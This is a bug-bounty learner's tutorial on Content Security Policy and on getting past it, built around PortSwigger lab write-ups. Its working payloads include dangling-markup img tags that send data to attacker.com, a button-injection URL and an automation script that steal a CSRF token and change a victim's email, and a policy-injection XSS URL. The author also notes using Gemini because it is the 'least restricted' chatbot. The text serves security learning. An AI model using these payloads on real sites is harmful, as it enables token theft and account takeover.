Content Security Policy (CSP) is a security rule set used by websites.
๐ It tells the browser:
"Only allow scripts, images, or resources from trusted sources."
It helps protect against:
- Cross-Site Scripting (XSS)
- loading malicious scripts
- injecting harmful JavaScript into pages
๐ Example rules of CSP
1. Only allow scripts from same website
script-src 'self'โ Means:
- Only load JavaScript from the same site
- Block everything else
2. Allow scripts from a trusted site
script-src https://scripts.normal-website.comโ Means:
- Only allow scripts from that specific domain
โ ๏ธ Problem with trusting external domains
If you trust a site like:
ajax.googleapis.com๐ Anyone might be able to upload content there ๐ So attacker could host malicious JS ๐ Your site might unknowingly load it
๐ Extra protection methods โ There are Two simple ways to allow safe scripts
๐ 1. Nonce (random password for scripts) ๐ 2. Hash (fingerprint of script)
๐ก When does this happen?
When you open a website:
- Your browser sends request:
GET /index.html- Server responds with:
- HTML (the page)
- AND security rules (CSP)
๐ These rules are sent before the browser runs any script ๐ The server tells the browser the rules using HTTP headers ๐ This happens every time the page loads , it means with every request there is new Nonce sent from server but not the Hash.
๐ฆ How server informs the browser
The server uses an HTTP response header
Example:
Content-Security-Policy: script-src 'nonce-abc123'๐ This is sent along with the page
๐ NONCE :
๐งช What server does
Every time page loads:
- Generate random value:
abc123- Send CSP header:
Content-Security-Policy: script-src 'nonce-abc123'- Put same nonce inside script:
<script nonce="abc123">
console.log("Safe script");
</script>๐ What browser does
- Reads CSP rule
- Sees: "Only allow scripts with nonce = abc123"
- Checks each script:
- โ If nonce matches โ run
- โ If not โ block
โฑ๏ธ Important point
๐ Nonce is new every page load ๐ So attacker cannot guess it
๐ HASH :
๐งช What server does
- Take script content:
console.log("Hello");- Generate hash (fingerprint):
xyz789- Send CSP header:
Content-Security-Policy: script-src 'sha256-xyz789'๐ What browser does
- Looks at script
- Calculates its hash
- Compares with CSP
โ Match โ run โ No match โ block
โฐ When is hash checked?
๐ Right when browser is about to run the script
Difference between Nonce and Hash
| Feature | Nonce | Hash |
| -------------- | ------------- | ---------------------------- |
| Generated | Every request | Once (unless script changes) |
| Where used | Script tag | Script content |
| Changes often? | Yes | No |
| Good for | Dynamic pages | Static scripts |๐ But CSP is not perfect
Sometimes:
- CSP is weakly configured
- or has loopholes
Then attackers may:
- bypass CSP
- still execute XSS
๐จ Weak point in CSP
Even with strict CSP:
๐ Scripts may be blocked ๐ But images are often allowed
So attackers use:
<img src="https://attacker.com/steal?data=...">๐ Browser sends request ๐ Data leaks
Think of dangling markup injection as a sneaky trick attackers use when they can't run full JavaScript (XSS) but can still inject a little bit of HTML into a webpage.
Simple idea
Instead of running code, the attacker breaks the structure of the page's HTML in a way that makes the browser accidentally send sensitive data (like tokens or user info) to the attacker.
๐ง Easy analogy
Imagine a form where someone can write a message, and the website shows it to other users.
The attacker writes something like:
<img src="https://attacker.com/steal?data=Notice this is not finished properly โ it's "dangling."
Now, when the browser continues rendering the page, it may accidentally include nearby content (like hidden tokens or page data) as part of that URL.
So the browser ends up requesting something like:
https://attacker.com/steal?data=CSRF_TOKEN_ABC123๐ That request goes to the attacker's server, leaking the data.
๐ What's actually happening
- The attacker injects incomplete HTML
- The browser tries to "fix" it automatically
- While fixing, it pulls in surrounding sensitive data
- That data gets sent to an external server (controlled by attacker)
๐ Dangling markup + CSP bypass
Even if:
- No JavaScript allowed โ
- External requests mostly blocked โ
๐ Attacker can still:
- Inject broken HTML
- Trick browser into leaking data
- Or make user click something
Some policies are more restrictive and prevent all forms of external requests. However, it's still possible to get round these restrictions by eliciting some user interaction. To bypass this form of policy, you need to inject an HTML element that, when clicked, will store and send everything enclosed by the injected element to an external server.
Reflected XSS protected by very strict CSP, with dangling markup attack
I'll explain reflected xss vulnerability with the lab from port swigger, which gives more clarity, in description of lab they gave wiener:peter , there is Reflected XSS vulnerability and the website is protected by very strict CSP, we use dangling markup attack.
Firstly I was thinking that the comment box might be vulnerable to xss but no, everything was filtered over there , then i logged in with wiener:peter
I saw the following page and whatever we type in mail and click update button then the new email would get updated and reflected on the page

From lab's description we need to exploit a Form Hijacking vulnerability, then i went through source page there was a form page hidden :

I tested the email field with some random email test@test.com , and cheked will it get reflected somewhere, and i finally found the injectable parameter which was email input field on the page,

It was reflecting in value parameter of form field as follows

Now I used Gemini to generate a payload as it is least restricted AI chatbot as of considering present situations, It gave me the poyload which creats a button and the payload sends the CSRF token to exploit server controlled by attacker after clicking that button
https://YOUR_LAB_ID.web-security-academy.net/my-account?id=wiener&email=hacker@evil-user.net"><button+formaction="https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log"+form="change-email-form"+formmethod="GET">Click</button>
## THIS IS THE COMPLETE URL From email it is payload
Then there was a button reflected,

upon clicking which should send the CSRF Token exploit server, but my payload did not send CSRF token to exploit server because it was not automatic , i tried that if we keep the link of this click button in website field of comment box then it will take users to this click button and if user clicks this click button then it should send token but as there were two clicks it didn't work, i tried much but then i was the solution and there was a script written as below , which is automation script , logically everything was same but the script added automation and i tried manually ,
<body>
<script>
// Define the URLs for the lab environment and the exploit server.
const academyFrontend = "https://your-lab-url.net/";
const exploitServer = "https://your-exploit-server.net/exploit";
// Extract the CSRF token from the URL.
const url = new URL(location);
const csrf = url.searchParams.get('csrf');
// Check if a CSRF token was found in the URL.
if (csrf) {
// If a CSRF token is present, create dynamic form elements to perform the attack.
const form = document.createElement('form');
const email = document.createElement('input');
const token = document.createElement('input');
// Set the name and value of the CSRF token input to utilize the extracted token for bypassing security measures.
token.name = 'csrf';
token.value = csrf;
// Configure the new email address intended to replace the user's current email.
email.name = 'email';
email.value = 'hacker@evil-user.net';
// Set the form attributes, append the form to the document, and configure it to automatically submit.
form.method = 'post';
form.action = `${academyFrontend}my-account/change-email`;
form.append(email);
form.append(token);
document.documentElement.append(form);
form.submit();
// If no CSRF token is present, redirect the browser to a crafted URL that embeds a clickable button designed to expose or generate a CSRF token by making the user trigger a GET request
} else {
location = `${academyFrontend}my-account?email=blah@blah%22%3E%3Cbutton+class=button%20formaction=${exploitServer}%20formmethod=get%20type=submit%3EClick%20me%3C/button%3E`;
}
</script>
</body>This is how the Danglig markup attack is used, while there is strict csp.
Mitigating dangling markup attacks using CSP
The following directive will only allow images to be loaded from the same origin as the page itself:
img-src 'self'
The following directive will only allow images to be loaded from a specific domain:
img-src https://images.normal-website.com
Note that these policies will prevent some dangling markup exploits, because an easy way to capture data with no user interaction is using an img tag. However, it will not prevent other exploits, such as those that inject an anchor tag with a dangling href attribute.
Bypassing CSP with policy injection
โ ๏ธ What the problem is
Sometimes, a website builds its CSP using user input (which is dangerous).
For example, the server might do something like:
Content-Security-Policy: default-src 'self'; report-uri /report?user=INPUTIf you control INPUT, you might inject extra CSP rules.
๐ก What "policy injection" means
If the site doesn't sanitize input properly, you can add a semicolon (;) to break the rule and insert your own:
/report?user=abc; script-src-elem *;Now the browser sees:
default-src 'self'; report-uri /report?user=abc;
script-src-elem *;๐ You just added a new rule.
๐ฅ Why script-src-elem matters
Normally, you cannot override script-src, which controls scripts.
But modern browsers (like Google Chrome) added:
script-src-elemโ controls<script>tags specifically
And here's the trick:
๐ script-src-elem can override script-src for script elements
So even if the original policy says:
script-src 'self'You can inject:
script-src-elem *Which means:
"Allow scripts from anywhere"
๐งช Simple Example
Original secure CSP:
Content-Security-Policy:
default-src 'self';
script-src 'self';
report-uri /report?data=USER_INPUT Your malicious input:
xyz; script-src-elem **Final CSP becomes:
default-src 'self';
script-src 'self';
report-uri /report?data=xyz;
script-src-elem *;๐จ Result
Now the browser allows:
<script src="https://evil.com/hack.js"></script>Even though it was originally blocked.
Let's understand it with the lab given in port swigger , now in lab inpect page you can see token parameter is incomplete CSP , so you can inject your own CSP directives into the policy.

Actually search bar was vulnerable to Reflected xss , and i used the following payload :
https://YOUR-LAB-ID.web-security-academy.net/?search=<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'๐ง What is clickjacking?
Clickjacking is when a malicious site tricks you into clicking something you didn't intend.
๐ Example: You think you're clicking a "Play" button, but actually you're clicking a hidden "Transfer Money" button from another site layered underneath.
๐ก๏ธ How CSP helps prevent it
A website can use Content Security Policy (CSP) to control who is allowed to embed (frame) it.
This is done using:
๐ frame-ancestors
This directive tells the browser:
"Which websites are allowed to show my page inside a frame (iframe)?"
๐ก Simple meanings of the rules
โ Allow only same website
frame-ancestors 'self'๐ Meaning: Only the same website can embed this page.
โ Safe from other sites trying to trick users
๐ซ Block all framing
frame-ancestors 'none'๐ Meaning: Nobody can embed this page anywhere.
โ Strongest protection against clickjacking
๐ Allow specific trusted sites
frame-ancestors 'self' https://normal-website.com https://*.robust-website.com๐ Meaning:
- Your own site โ
- One specific site โ
- Any subdomain of another site โ (like
shop.robust-website.com)
๐ Why CSP is better than X-Frame-Options
Older method: X-Frame-Options
โ Limitations:
- Only allows:
DENY(block all)SAMEORIGIN(only same site)- Can't allow multiple domains
- Only checks the top-level page
โ CSP advantages:
- Can allow multiple websites
- Supports wildcards (
*.example.com) - Checks every level of framing, not just the top
๐ So it's more flexible and secure
๐ Why use both?
Some old browsers (like Internet Explorer) don't support CSP.
So websites often use:
- CSP (
frame-ancestors) โ for modern browsers - X-Frame-Options โ for older browsers
๐ Together = better protection
๐ฏ Easy analogy
Imagine your website is a video.
frame-ancestors 'none'โ "No one can embed my video anywhere"frame-ancestors 'self'โ "Only my own website can show this video"- Custom list โ "Only these trusted websites can show my video"
What is dangling markup injection?
Dangling markup injection is a technique for capturing data cross-domain in situations where a full cross-site scripting attack isn't possible.
Suppose an application embeds attacker-controllable data into its responses in an unsafe way:
<input type="text" name="input" value="CONTROLLABLE DATA HERE
Suppose also that the application does not filter or escape the > or " characters. An attacker can use the following syntax to break out of the quoted attribute value and the enclosing tag, and return to an HTML context:
">
In this situation, an attacker would naturally attempt to perform XSS. But suppose that a regular XSS attack is not possible, due to input filters, content security policy, or other obstacles. Here, it might still be possible to deliver a dangling markup injection attack using a payload like the following:
"><img src='//attacker-website.com?
This payload creates an img tag and defines the start of a src attribute containing a URL on the attacker's server. Note that the attacker's payload doesn't close the src attribute, which is left "dangling". When a browser parses the response, it will look ahead until it encounters a single quotation mark to terminate the attribute. Everything up until that character will be treated as being part of the URL and will be sent to the attacker's server within the URL query string. Any non-alphanumeric characters, including newlines, will be URL-encoded.
The consequence of the attack is that the attacker can capture part of the application's response following the injection point, which might contain sensitive data. Depending on the application's functionality, this might include CSRF tokens, email messages, or financial data.
Any attribute that makes an external request can be used for dangling markup.
This next lab is difficult to solve because all external requests are blocked. However, there are certain tags that allow you to store data and retrieve it from an external server later. Solving this lab might require user interaction.
13v! Bug Bounty Learner | H@ppie H@ck!nG